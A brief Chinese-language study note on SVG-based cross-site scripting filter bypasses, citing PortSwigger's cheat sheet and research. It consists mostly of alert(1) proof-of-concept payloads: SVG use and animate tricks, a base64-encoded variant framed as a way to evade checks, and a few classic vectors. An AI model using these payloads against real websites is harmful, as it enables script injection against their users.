https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

SVG 矢量图 Bypass

https://portswigger.net/research/new-xss-vectors

可以在“use”元素的数据 URL 中使用嵌入的 SVG 自动执行 JavaScript:

  1. <svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
  1. <!--
  2. PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#
  3. -->
  4. <svg id='x' xmlns='http://www.w3.org/2000/svg'
  5. xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
  6. <image href="1" onerror="alert(1)" />
  7. </svg>

将上述Payload进行BASE64编码处理,绕过必要的检查:

  1. <svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>

使用动画标签来更改“使用”元素的 href 以导致 JavaScript 执行:

  1. <svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'>
  2. <image href='1' onerror='alert(1)' /></svg>#x" />
  3. <use id=x />
  1. <iframe>
  2. <marquee loop=1 width=0 onfinish=alert`1`>XSS</marquee>
  3. <svg/onload=alert('XSS')>
  4. <script>alert(1)</script>